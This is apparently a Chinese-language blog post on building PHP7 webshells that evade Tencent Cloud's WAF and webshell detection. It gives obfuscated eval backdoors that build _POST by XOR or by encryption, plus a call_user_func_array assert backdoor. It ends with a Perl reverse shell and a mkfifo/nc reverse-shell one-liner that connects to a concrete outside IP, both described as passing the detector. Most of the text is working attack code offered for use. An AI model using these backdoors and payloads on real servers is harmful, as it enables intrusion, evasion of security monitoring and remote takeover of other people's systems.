PHP7可用的webshell
腾讯云WAF绕过
webshell检测绕过
目标机器环境:
Apache:2.4.29
PHP:7.4.15
PHP7和PHP5在安全方面有一些差异:
- preg_replace()不再支持/e修饰符
- create_function()被废弃
- mysql_*系列全员移除
- unserialize()增加一个可选白名单参数
- assert()默认不再可以执行代码
这些差异导致了很多基于assert的传统木马失效,再加上腾讯云本身也有webshell检测,所以我们需要找到一个既能在PHP7环境下执行命令又能绕过腾讯云检测的方法。
//informations.php
<?php
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval("\n".$b);
?>
这里$a进行了一次异或操作,最终得到的字符为_POST , PHP7中动态调用的格式为${$变量},所以$b=_POST[a]
成功执行:
基于把接收参数方式加密的思路,我们有了一个更复杂一点的版本:
?php
echo '<meta charset="utf-8">';
$str='_POST';
function jiami($str,$key){
$key=md5($key);
$k=md5(rand(0,100));//相当于动态密钥
$k=substr($k,0,3);
$tmp="";
for($i=0;$i<strlen($str);$i++){
$tmp.=substr($str,$i,1) ^ substr($key,$i,1);
}
return base64_encode($k.$tmp);
}
function jiemi($str,$key){
$len=strlen($str);
$key=md5($key);
$str=base64_decode($str);
$str=substr($str,3,$len-3);
$tmp="";
for($i=0;$i<strlen($str);$i++){
$tmp.=substr($str,$i,1) ^ substr($key,$i,1);
}
return $tmp;
}
$key='cc';
$jh=jiami($str, $key);
echo '加密前:'.$str.'<br>';
echo '加密后:'.$jh.'<br>';
echo '解密后:'.jiemi($jh, $key).'<br>';
$a = jiemi($jh,$key);
$b = ${$a}[xxx];
eval($b);
其实利用一些回调函数也是有可能绕过waf检测的,但是因为在PHP7中assert默认不能执行命令,而eval又不能作为回调函数的参数使用,所以会有一定的局限性。
不过还是有一些函数可以执行,比如
call_user_func_array('assert', array($_REQUEST['pass']));
反弹shell的绕过
目标机器上nc 不支持-e,而且使用bash直接反弹shell会报错,所以考虑使用脚本语言创建连接。
经过测试,可以成功连接而且绕过腾讯云检测的payload为:
perl -e 'use Socket;$i="120.xx.xx.xx";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 120.55.84.155 9999 >/tmp/f
webshell执行命令
这里使用perl建立一个socket连接,需要注意的是在使用POST传参的时候要把&改为%26,同时把双引号转移之后再执行
参考链接:
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html#0x07
https://www.freebuf.com/articles/web/197013.html

浙公网安备 33010602011771号